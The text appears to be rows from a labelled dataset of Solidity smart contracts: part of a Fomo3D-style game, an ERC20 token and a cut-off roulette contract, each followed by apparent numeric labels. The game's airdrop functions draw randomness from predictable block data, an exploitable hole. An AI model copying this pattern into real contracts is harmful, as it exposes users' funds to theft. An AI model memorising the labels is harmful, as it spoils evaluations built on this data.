msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
round_[_rID].plyr = _pID;
lastTen_[_rID][roundBetCount_[_rID] % 10] = _pID;
roundBetCount_[_rID]++;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
emit onAirPot(_rID,1,plyr_[_pID].addr,_prize);
airDropTracker_ = 0;
}
}
if (_eth >= 500000000000000000 && round_[_rID].pot >=100000000000000000000){
air2( _rID, _pID, _affID);
}
if(inviteCount_[_pID] >= 100 && (comDropLastTime_[_rID][_team] + comDropGap_) <= now){
comDrop(_rID,_pID,_affID,_team);
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function air2(uint256 _rID, uint256 _pID, uint256 _affID) private {
airDropTracker2_++;
if (airdrop2() == true)
{
uint256 _prize2;
_prize2 = ((airDropPot2_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize2.mul(80) / 100);
uint256 _affIDUp = plyr_[_affID].laff;
if (_affIDUp !=0 && _affIDUp != _pID && plyr_[_affIDUp].name != '') {
plyr_[_affIDUp].win = (plyr_[_affIDUp].win).add(_prize2.mul(20) / 100);
}else{
_prize2 = (_prize2.mul(80) / 100);
}
airDropPot2_ = (airDropPot2_).sub(_prize2);
emit onAirPot(_rID,2,plyr_[_pID].addr,_prize2);
airDropTracker2_ = 0;
}
}
function comDrop(uint256 _rID, uint256 _pID, uint256 _affID, uint256 _team) private {
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now))
)));
if((seed - ((seed / 100) * 100)) < 15){
uint256 _prize3 = comAirDrop_ / 10;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize3.mul(2));
uint256 _affIDUp = plyr_[_affID].laff;
if (_affIDUp !=0 && _affIDUp != _pID && plyr_[_affIDUp].name != '') {
plyr_[_affIDUp].win = (plyr_[_affIDUp].win).add(_prize3);
_prize3 = _prize3.mul(3) ;
}else{
_prize3 = _prize3.mul(2) ;
}
comAirDrop_ = (comAirDrop_).sub(_prize3);
emit onAirPot(_rID,3,plyr_[_pID].addr,_prize3);
comDropLastTime_[_rID][_team] = now;
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 2)
return(0);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
comAddress.transfer(_com.add(comAirDrop_).add(comReWards_).add(airDropPot_).add(airDropPot2_));
comAirDrop_ = 0;
comReWards_ = 0;
airDropPot_ = 0;
airDropPot2_ = 0;
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
shareLastTen( _rID, _win);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
opAddress.transfer(_p3d);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now.add(comDropGap_);
round_[_rID].end = now.add(comDropGap_).add(rndInit_);
round_[_rID].pot = _res;
return(_eventData_);
}
function shareLastTen(uint256 _rID, uint256 _win) private {
if(roundBetCount_[_rID] >= 10){
uint256 _singleWin = _win / 10;
plyr_[lastTen_[_rID][0]].win = _singleWin.add(plyr_[lastTen_[_rID][0]].win);
plyr_[lastTen_[_rID][1]].win = _singleWin.add(plyr_[lastTen_[_rID][1]].win);
plyr_[lastTen_[_rID][2]].win = _singleWin.add(plyr_[lastTen_[_rID][2]].win);
plyr_[lastTen_[_rID][3]].win = _singleWin.add(plyr_[lastTen_[_rID][3]].win);
plyr_[lastTen_[_rID][4]].win = _singleWin.add(plyr_[lastTen_[_rID][4]].win);
plyr_[lastTen_[_rID][5]].win = _singleWin.add(plyr_[lastTen_[_rID][5]].win);
plyr_[lastTen_[_rID][6]].win = _singleWin.add(plyr_[lastTen_[_rID][6]].win);
plyr_[lastTen_[_rID][7]].win = _singleWin.add(plyr_[lastTen_[_rID][7]].win);
plyr_[lastTen_[_rID][8]].win = _singleWin.add(plyr_[lastTen_[_rID][8]].win);
plyr_[lastTen_[_rID][9]].win = _singleWin.add(plyr_[lastTen_[_rID][9]].win);
} else{
uint256 _avarageWin = _win / roundBetCount_[_rID];
for(uint256 _index = 0; _index < roundBetCount_[_rID] ; _index++ ){
plyr_[lastTen_[_rID][_index]].win = _avarageWin.add(plyr_[lastTen_[_rID][_index]].win);
}
}
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if(round_[_rID].strt.add(rndNTR_) >= now){
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function airdrop2()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker2_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p3d = 0;
uint256 opEth = _eth.mul(18) / 100;
opAddress.transfer(opEth);
_p3d = affsend( _affID, _pID, _rID, _eth, _p3d);
if (_p3d > 0)
{
owner.transfer(_p3d);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function affsend(uint256 _affID, uint256 _pID, uint256 _rID, uint256 _eth, uint256 _p3d)
private
returns(uint256)
{
uint256 _aff = _eth / 10;
uint256 _affUp = _eth.mul(3) / 100;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
uint256 _affIDUp = plyr_[_affID].laff;
inviteCount_[_affID] ++;
if (_affIDUp !=0 && _affIDUp != _pID && plyr_[_affIDUp].name != '') {
plyr_[_affIDUp].aff = _affUp.add(plyr_[_affIDUp].aff);
emit F3Devents.onAffiliatePayout(_affIDUp, plyr_[_affIDUp].addr, plyr_[_affIDUp].name, _rID, _pID, _affUp, now);
inviteCount_[_affIDUp] ++;
}else{
_p3d = _p3d.add(_affUp);
}
} else {
_p3d = _aff;
}
return _p3d;
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
comReWards_ = comReWards_.add(_eth / 50);
comAirDrop_ = comAirDrop_.add(_eth / 100);
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
airDropPot2_ = airDropPot2_.add(_eth / 10);
_eth = _eth.sub(((_eth.mul(39)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == owner ,
"only team just can activate"
);
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ ;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
| 0 | 1,062 |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract JokinToken {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function JokinToken()
public {
totalSupply = 1000000000 * 10 ** uint256(decimals);
uint256 balance_for_creator = totalSupply / 100 * 90;
uint256 balance_for_businessconsultant = totalSupply / 100 * 5;
uint256 balance_for_developer = totalSupply / 100 * 5;
balanceOf[0x310742E3093Fb651d12c2fa2eCEDb99dA7D05851] = balance_for_creator;
balanceOf[0x026b992Dcc799f6eb43561dF9286f5dC9Ff9ca5b] = balance_for_businessconsultant;
balanceOf[0x7fC62142F5093E01FC5FE84F49cA9D1aab4B652a] = balance_for_developer;
name = "Jokin";
symbol = "JKIN";
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
| 1 | 2,616 |
pragma solidity ^0.4.11;
contract Banker {
uint256 maxBetWei;
address public owner;
address public banker;
struct Bet {
address player;
uint256 transferredAmount;
bytes32 betData;
uint256 placedOnBlock;
uint256 lastRevealBlock;
}
mapping (uint256 => uint8) odds;
mapping (uint256 => Bet) bets;
event BetIsPlaced(
uint256 transferredAmount,
uint256 magicNumber,
bytes32 betData,
uint256 lastRevealBlock
);
enum RevealFailStatus { InsufficientContractBalance }
event BetCannotBeRevealed(uint256 magicNumber, RevealFailStatus reason);
event BetIsRevealed(uint256 magicNumber, uint256 dice, uint256 winAmount);
modifier ownerOnly() {
require(msg.sender == owner, "Only owner can call this function.");
_;
}
constructor() public {
owner = msg.sender;
maxBetWei = 1 ether / 10;
odds[1] = 35;
odds[2] = 17;
odds[3] = 11;
odds[4] = 8;
odds[5] = 6;
odds[6] = 5;
odds[12] = 2;
odds[18] = 1;
}
function setMaxBetWei(uint256 numOfWei) public ownerOnly {
maxBetWei = numOfWei;
}
function deposit() public payable {}
function setBanker(address newBanker) public ownerOnly {
banker = newBanker;
}
function withdrawToOwner(uint256 weiToWithdraw) public ownerOnly {
require(
address(this).balance >= weiToWithdraw,
"The value of this withdrawal is invalid."
);
owner.transfer(weiToWithdraw);
}
function convertAmountToWei(uint32 amount) private pure returns (uint256) {
return uint256(amount) * (1 finney * 10);
}
function calcBetAmount(bytes32 betData) private pure returns (uint32) {
uint8 numOfBets = uint8(betData[0]);
require(numOfBets > 0 && numOfBets <= 15, "Invalid number value of bets.");
uint8 p = 1;
uint32 betAmount = 0;
for (uint8 i = 0; i < numOfBets; ++i) {
uint8 amount = uint8(betData[p++]);
require(
amount == 100 || amount == 50 || amount == 20 || amount == 10 ||
amount == 5 || amount == 2 || amount == 1,
"Invalid bet amount."
);
betAmount += amount;
uint8 numOfNumsOrIndex = uint8(betData[p++]);
if (numOfNumsOrIndex <= 4) {
p += numOfNumsOrIndex;
} else {
require(numOfNumsOrIndex >= 129 && numOfNumsOrIndex <= 152, "Invalid bet index.");
}
}
return betAmount;
}
function calcWinAmountOnNumber(bytes32 betData, uint8 number) private view returns (uint32) {
uint8 numOfBets = uint8(betData[0]);
require(numOfBets <= 15, "Too many bets.");
uint8 p = 1;
uint32 winAmount = 0;
for (uint8 i = 0; i < numOfBets; ++i) {
require(p < 32, "Out of betData's range.");
uint8 amount = uint8(betData[p++]);
require(
amount == 100 || amount == 50 || amount == 20 || amount == 10 ||
amount == 5 || amount == 2 || amount == 1,
"Invalid bet amount."
);
uint8 numOfNumsOrIndex = uint8(betData[p++]);
if (numOfNumsOrIndex <= 4) {
bool hit = false;
for (uint8 j = 0; j < numOfNumsOrIndex; ++j) {
require(p < 32, "Out of betData's range.");
uint8 thisNumber = uint8(betData[p++]);
require(thisNumber >= 0 && thisNumber <= 37, "Invalid bet number.");
if (!hit && thisNumber == number) {
hit = true;
winAmount += uint32(odds[numOfNumsOrIndex] + 1) * amount;
}
}
} else {
require(numOfNumsOrIndex >= 129 && numOfNumsOrIndex <= 152, "Bad bet index.");
uint8 numOfNums = 0;
if (numOfNumsOrIndex == 129 && (number >= 1 && number <= 6)) {
numOfNums = 6;
}
if (numOfNumsOrIndex == 130 && (number >= 4 && number <= 9)) {
numOfNums = 6;
}
if (numOfNumsOrIndex == 131 && (number >= 7 && number <= 12)) {
numOfNums = 6;
}
if (numOfNumsOrIndex == 132 && (number >= 10 && number <= 15)) {
numOfNums = 6;
}
if (numOfNumsOrIndex == 133 && (number >= 13 && number <= 18)) {
numOfNums = 6;
}
if (numOfNumsOrIndex == 134 && (number >= 16 && number <= 21)) {
numOfNums = 6;
}
if (numOfNumsOrIndex == 135 && (number >= 19 && number <= 24)) {
numOfNums = 6;
}
if (numOfNumsOrIndex == 136 && (number >= 22 && number <= 27)) {
numOfNums = 6;
}
if (numOfNumsOrIndex == 137 && (number >= 25 && number <= 30)) {
numOfNums = 6;
}
if (numOfNumsOrIndex == 138 && (number >= 28 && number <= 33)) {
numOfNums = 6;
}
if (numOfNumsOrIndex == 139 && (number >= 31 && number <= 36)) {
numOfNums = 6;
}
if (numOfNumsOrIndex == 140 && ((number >= 0 && number <= 3) || number == 37)) {
numOfNums = 5;
}
uint8 n;
if (numOfNumsOrIndex == 141) {
for (n = 1; n <= 34; n += 3) {
if (n == number) {
numOfNums = 12;
break;
}
}
}
if (numOfNumsOrIndex == 142) {
for (n = 2; n <= 35; n += 3) {
if (n == number) {
numOfNums = 12;
break;
}
}
}
if (numOfNumsOrIndex == 143) {
for (n = 3; n <= 36; n += 3) {
if (n == number) {
numOfNums = 12;
break;
}
}
}
if (numOfNumsOrIndex == 144 && (number >= 1 && number <= 12)) {
numOfNums = 12;
}
if (numOfNumsOrIndex == 145 && (number >= 13 && number <= 24)) {
numOfNums = 12;
}
if (numOfNumsOrIndex == 146 && (number >= 25 && number <= 36)) {
numOfNums = 12;
}
if (numOfNumsOrIndex == 147) {
for (n = 1; n <= 35; n += 2) {
if (n == number) {
numOfNums = 18;
break;
}
}
}
if (numOfNumsOrIndex == 148) {
for (n = 2; n <= 36; n += 2) {
if (n == number) {
numOfNums = 18;
break;
}
}
}
if (numOfNumsOrIndex == 149 &&
(number == 1 || number == 3 || number == 5 || number == 7 || number == 9 || number == 12 ||
number == 14 || number == 16 || number == 18 || number == 19 || number == 21 || number == 23 ||
number == 25 || number == 27 || number == 30 || number == 32 || number == 34 || number == 36)) {
numOfNums = 18;
}
if (numOfNumsOrIndex == 150 &&
(number == 2 || number == 4 || number == 6 || number == 8 || number == 10 || number == 11 ||
number == 13 || number == 15 || number == 17 || number == 20 || number == 22 || number == 24 ||
number == 26 || number == 28 || number == 29 || number == 31 || number == 33 || number == 35)) {
numOfNums = 18;
}
if (numOfNumsOrIndex == 151 && (number >= 1 && number <= 18)) {
numOfNums = 18;
}
if (numOfNumsOrIndex == 152 && (number >= 19 && number <= 36)) {
numOfNums = 18;
}
if (numOfNums > 0) {
winAmount += uint32(odds[numOfNums] + 1) * amount;
}
}
}
return winAmount;
}
function calcMaxWinAmount(bytes32 betData) private view returns (uint32) {
uint32 maxWinAmount = 0;
for (uint8 guessWinNumber = 0; guessWinNumber <= 37; ++guessWinNumber) {
uint32 amount = calcWinAmountOnNumber(betData, guessWinNumber);
if (amount > maxWinAmount) {
maxWinAmount = amount;
}
}
return maxWinAmount;
}
function clearBet(uint256 magicNumber) private {
Bet storage bet = bets[magicNumber];
bet.player = address(0);
